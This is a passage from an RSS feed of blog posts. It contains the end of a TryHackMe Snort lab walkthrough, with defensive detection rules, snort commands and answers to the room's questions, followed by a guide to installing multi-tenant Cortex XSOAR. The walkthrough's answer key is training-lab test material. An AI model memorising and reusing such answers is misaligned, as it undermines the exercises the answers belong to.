<strong>mx-2.pcap</strong> file with the default configuration file.</p><p>sudo snort -c /etc/snort/snort.conf -A full -l . -r mx-2.pcap</p><p>What is the number of the generated alerts?</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/598/0*_fSjxZ07-C3QMBfs.png" /></figure><p><strong>Answer:</strong> <em>340</em></p><h3>Question 6:</h3><p>Keep reading the output. What is the number of the detected TCP packets?</p><p>Press enter or click to view image in full size</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/820/0*vjMvWdtSakQyeL_B.png" /></figure><p><strong>Answer:</strong> <em>82</em></p><h3>Question 7:</h3><p>Investigate the <strong>mx-2.pcap </strong>AND <strong>mx-3.pcap</strong> files with the default configuration file.</p><p>sudo snort -c /etc/snort/snort.conf -A full -l . --pcap-list=&quot;mx-2.pcap mx-3.pcap&quot;</p><p>What is the number of the generated alerts?</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/611/0*9YH1UGSSndKXzm_K.png" /></figure><p><strong>Answer:</strong> <em>1020</em></p><h3>Task 9: Snort Rule Structure</h3><h3>Snort Rules!</h3><p>Press enter or click to view image in full size</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/883/0*A9zwYaa3ld_doZaX.png" /></figure><p>Credit: <a href="https://tryhackme.com/r/room/snort">TryHackMe</a></p><h3>Understanding Snort Rules:</h3><ul><li><strong>Rule Structure</strong>: A Snort rule includes an action, protocol, source and destination IP, source and destination port, and options. The rule header is mandatory, while options are not.</li><li><strong>Actions</strong>: Key actions include alert, log, drop, and reject. These determine how Snort reacts to matching packets.</li><li><strong>Protocols</strong>: Snort supports IP, TCP, UDP, and ICMP.</li><li><strong>IP and Port Filtering</strong>: IP addresses and port numbers can be specified, including ranges and exclusions using the negation operator (!).</li><li><strong>Direction</strong>: -&gt; indicates source to destination flow, and &lt;&gt; indicates bidirectional flow.</li></ul><h3>Rule Options:</h3><ul><li><strong>msg</strong>: A brief description of the rule, appearing in logs or the console.</li><li><strong>sid</strong>: A unique rule ID, with custom SIDs starting from 1,000,000.</li><li><strong>rev</strong>: Indicates the revision of the rule, useful for tracking changes.</li></ul><h3>Payload and Non-Payload Detection Rules:</h3><ul><li><strong>Content</strong>: Matches specific payload data. nocase disables case sensitivity, and fast_pattern optimises content search.</li><li><strong>Non-Payload Options</strong>: Includes id for filtering IP IDs, flags for TCP flags, dsize for payload size, and sameip for detecting identical source and destination IPs.</li></ul><p>Navigate to the Task-Exercises/Exercise-Files/TASK-9 directory to answer the questions!</p><h3>Question 1:</h3><p>Use <strong>“task9.pcap”.</strong></p><p>Write a rule to filter <strong>IP ID “35369”</strong> and run it against the given pcap file.</p><p>alert ip any any -&gt; any any (msg:”IP ID 35369 Detected”; id:35369; sid:100001; rev:1;)</p><p>Edit the <em>local.rules</em> text file from either in the CLI or the GUI:</p><p>Press enter or click to view image in full size</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/883/0*h248yi_I_7eJITWE.png" /></figure><p>What is the request name of the detected packet?</p><p>snort -c local.rules -A full -l . -r task9.pcap</p><p>The above command when run produces the below log file.</p><p>Press enter or click to view image in full size</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/883/0*5i6lep-hTMLNtH64.png" /></figure><p><strong>Answer:</strong> <em>TIMESTAMP REQUEST</em></p><h3>Question 2:</h3><p>Create a rule to filter <strong>packets with Syn flag</strong> and run it against the given pcap file. What is the number of detected packets?</p><p>Press enter or click to view image in full size</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/883/0*-70uapL2xkg9a9zk.png" /></figure><p>Press enter or click to view image in full size</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/883/0*hxaYHM6rgQyUWvdK.png" /></figure><p><strong>Answer:</strong> <em>1</em></p><h3>Question 3:</h3><p>Write a rule to filter <strong>packets with Push-Ack flags</strong> and run it against the given pcap file.</p><p>What is the number of detected packets?</p><p>Press enter or click to view image in full size</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/883/0*yHU4fBO2AfXcS2z7.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/598/0*B0RBiu6TWBZu3_q9.png" /></figure><p><strong>Answer:</strong> <em>216</em></p><h3>Question 4:</h3><p>Create a rule to filter <strong>packets with the same source and destination IP </strong>and run it against the given pcap file.</p><p>What is the number of packets that show the same source and destination address?</p><p>Press enter or click to view image in full size</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/883/0*f658xbuiqohATbSl.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/594/0*P7KmenV4DWi9lJOC.png" /></figure><p>However this is <strong>not </strong>the correct answer.</p><blockquote><strong><em>The Hint:</em></strong><em><br>Review the logs and count the number of the alerts. Don’t consider the unassigned IP addresses, IP requests and broadcast/multicast messages.</em></blockquote><p>Lets look at the alert log file created from this search.</p><p>Press enter or click to view image in full size</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/883/0*BeDeca31EgEVHtKc.png" /></figure><p>There are 6 alerts out of the 13 that are relevant to unassigned IP addresses, IP requests, and broadcast/multicast messages.</p><p>This leaves <strong><em>7 </em></strong>remaining packets that are valid.</p><p><strong>Answer:</strong> <em>7</em></p><h3>Question 5:</h3><p>The rev field is used to keep track of changes to a rule, and each time a rule is modified, this number should be incremented to indicate a new version of the rule.</p><p>This helps in maintaining proper version control and documentation of rule changes.</p><p><strong>Answer:</strong> rev</p><h3>Task 10: Snort2 Operation Logic: Points to Remember</h3><h3>Main Components of Snort:</h3><ul><li><strong>Packet Decoder:</strong> Collects and prepares packets for pre-processing.</li><li><strong>Pre-processors:</strong> Modifies packets for the detection engine.</li><li><strong>Detection Engine:</strong> Analyses packets by applying rules.</li><li><strong>Logging and Alerting:</strong> Manages log and alert generation.</li><li><strong>Outputs and Plugins:</strong> Handles output integrations and additional plugin support.</li></ul><h3>Types of Snort Rules:</h3><ul><li><strong>Community Rules:</strong> Free and publicly accessible.</li><li><strong>Registered Rules:</strong> Free but requires registration; updates delayed by 30 days.</li><li><strong>Subscriber Rules:</strong> Paid and updated twice a week.</li></ul><h3>Snort Configuration Highlights:</h3><ul><li><strong>snort.conf:</strong> The main configuration file; avoid replacing this file — manual edits or updates with tools are recommended.</li><li><strong>local.rules:</strong> A file for user-generated rules.</li></ul><h3>Key Configuration Sections:</h3><ol><li><strong>Network Variables:</strong> Define detection scope and rule paths.</li><li><strong>Decoder Configuration:</strong> Set up IPS mode, commonly using the “afpacket” mode for inline processing.</li><li><strong>Output Plugins:</strong> Manage logging and alerting formats.</li><li><strong>Custom Ruleset:</strong> Customise and include local or downloaded rules by uncommenting specific lines.</li></ol><p>This section has no questions. You can look at the rules available for download <a href="https://www.snort.org/downloads">here</a>, otherwise, click <em>“Complete”</em> to finish the task.</p><h3>Conclusion</h3><p>In this Snort challenge, we explored the critical components and configurations necessary for effective network monitoring and intrusion detection.</p><p>Configuring Snort properly, including customising rules and output formats, is essential for accurate threat detection and response.</p><p>Press enter or click to view image in full size</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/300/0*4S8PYHgaVI0ES2JG.png" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=fd25fbdde549" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[SOAR Fundamentals Lab: Setting Up Multi‑Tenant Cortex XSOAR (Community Edition) to Automate SIEM…]]></title>
            <link>https://medium.com/@blackxsec/soar-fundamentals-lab-setting-up-multi-tenant-cortex-xsoar-community-edition-to-automate-siem-31cd6a556b4a?source=rss-82c3aba4bbc0------2</link>
            <guid isPermaLink="false">https://medium.com/p/31cd6a556b4a</guid>
            <category><![CDATA[artificial-intelligence]]></category>
            <dc:creator><![CDATA[BlackXsec]]></dc:creator>
            <pubDate>Thu, 09 Jul 2026 12:23:53 GMT</pubDate>
            <atom:updated>2026-07-10T06:26:45.598Z</atom:updated>
            <content:encoded><![CDATA[<h3><strong>SOAR Fundamentals Lab: Setting Up Multi‑Tenant Cortex XSOAR (Community Edition) to Automate SIEM Use Cases</strong>.</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/883/0*LsjVyhLu-4VCBn5q.png" /></figure><p>Today I thought of writing a guide on Cortex XSOAR installation. You might have heard of the trending word “<strong>SOAR</strong>” in the security industry, which is short for <em>Security Orchestration, Automation and Response</em>. One of the coolest and leading SOAR products in the market is Cortex XSOAR, formally known as Demisto.</p><p>I’m going to do a series of posts for sharing knowledge on the product since there is very little XSOAR documentation and tutorials around XSOAR and it is such an amazing tool in every way. Also there are virtually zero guides on XSOAR community edition.</p><p>First of all we will get into installing XSOAR using Bolt Database(default) in your home lab or in the cloud, whichever you prefer. I will be doing the installation in a Ubuntu 22.04 LTS Server guest that runs on Virtual Box.</p><p><em>Minimum Server Specification:</em></p><p><strong>RAM</strong> : 5 GB<br><strong>CPU</strong> : 1 CPU<br><strong>Hard Disk</strong> : 55 GB<br><strong>Network Type</strong> : Bridged</p><p>Press enter or click to view image in full size</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/637/0*mDCsBaHc4CRfQUnF.png" /></figure><p>Architecture of the XSOAR setup</p><p><strong>Step 1</strong></p><p>Get two virtual machines ready with same specifications, however you can use little less RAM on the Main host since it wont be doing much work.</p><p><strong>Step 2</strong></p><p>Click <a href="https://start.paloaltonetworks.com/sign-up-for-community-edition.html">here</a> to get the trial license and the setup file for the installation.</p><p><strong>Step 3</strong></p><p>There are multiple ways to get the setup file into the xsoar-main like using WGET, WINSCP etc. Use your preferred method and get the demisto-XXXX.sh into the current working directory then issue the below commands with root /sudo privilege level. These will make the file executable and then run it as multi tenant main server.</p><pre>sudo chmod +x demisto-XXXX.sh<br>sudo ./demisto-XXXX.sh -- -multi-tenant</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/618/0*tts7QKWtaQYd54HO.png" /></figure><p>XSOAR file</p><p><strong>Step 4</strong></p><p>Accept the agreement and keep all the other settings on the default. Then set a user and a password.</p><p><strong>Step 5</strong></p><p>After the installation success you’ll be greeted with a message like below, then use the given link to access XSOAR from your host machine.</p><p><strong>Step 6</strong></p><p>Now it is time to add the license file, which will be prompted to you on the first login to the XSOAR Main server. You will find the license file attached in the same email that you received your download link.</p><p><strong>Step 7</strong></p><p>Since we need Multi Tenancy, we need to restart the Demisto services in the main server(xsoar-main), using the below commands.</p><pre>service stop demisto<br>service start demisto</pre><p><strong>Step 8</strong></p><p>Now we can see new option in Settings called ACCOUNT MANAGEMENT which we can use for host management and syncing. Go to Settings -&gt; Account Management -&gt; Host and click on New Host/HA Group -&gt; New Host, then you will be greeted with below screen. This might take some time so go get a coffee :)</p><p>Press enter or click to view image in full size</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/725/0*dMsE9ZwB657FTJZl" /></figure><p>After a while this message will go away and you can again go to New Host/HA Group -&gt; New Host and download the installer package.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/590/0*imoehFbji8GI-mFq" /></figure><p><strong>Step 9</strong></p><p>Follow Step 3 again to get the installer file to xsoar-tenant. Below commands should be run for installation.</p><pre>sudo chmod +x demistohost-XXXX.sh<br>sudo ./demistohost-XXXX.sh</pre><p>Finally you will be able to see the added host on the hosts page like below and congratulations on your working multi tenant XSOAR Setup</p><p>PART 2</p><p><strong>Requirements:</strong></p><p>Space in the target location should have more than 10 GB.<br>Need <strong>ROOT</strong> access to the server.</p><p><strong>Step 1</strong></p><p>Get the latest version of the XSOAR installer from <a href="https://start.paloaltonetworks.com/sign-up-for-community-edition.html">here</a> and the license if you are working with community edition. If you are doing this with a licensed copy with PA support, open a support case with Palo-Alto for the download link.</p><p><strong>Step 2</strong></p><p>Get the installer file in host machines and Main Server, and execute the below command in the same directory as the file (Replace demistoserver-XXX.sh with the actual file name).</p><pre>sudo chmod +x demistoserver-XXXX.sh</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/587/0*Uv_wgLiuWnkxA1bB" /></figure><p>XSOAR Image</p><p><strong>Step 3</strong></p><p>Stop the Demisto service from Main server and all the hosts using the below command, yes there will be downtime.</p><pre>sudo service demisto stop</pre><p><strong>Step 4</strong></p><p>Start the installation in the host server using below commands. Default location that XSOAR stores temporary installation files is <strong>/tmp</strong>,</p><ol><li>If you have more than 10GB in /<strong>tmp</strong></li></ol><pre>sudo ./demistoserver-XXX.sh -- -multi-tenant</pre><p>2. If you do not have the enough space use the below command to specify a target folder</p><pre>sudo ./demistoserver-XXX.sh --target /Target -- -multi-tenant</pre><p><strong>Step 5</strong></p><p>Follow <strong>Step 4</strong> in Main Server as well to upgrade.</p><p><strong>Step 6</strong></p><p>Start the Demisto service in main server and host servers using below command</p><pre>sudo service demisto start</pre><p>Now you have the XSOAR latest version installed, enjoy!!! :)</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=31cd6a556b4a" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>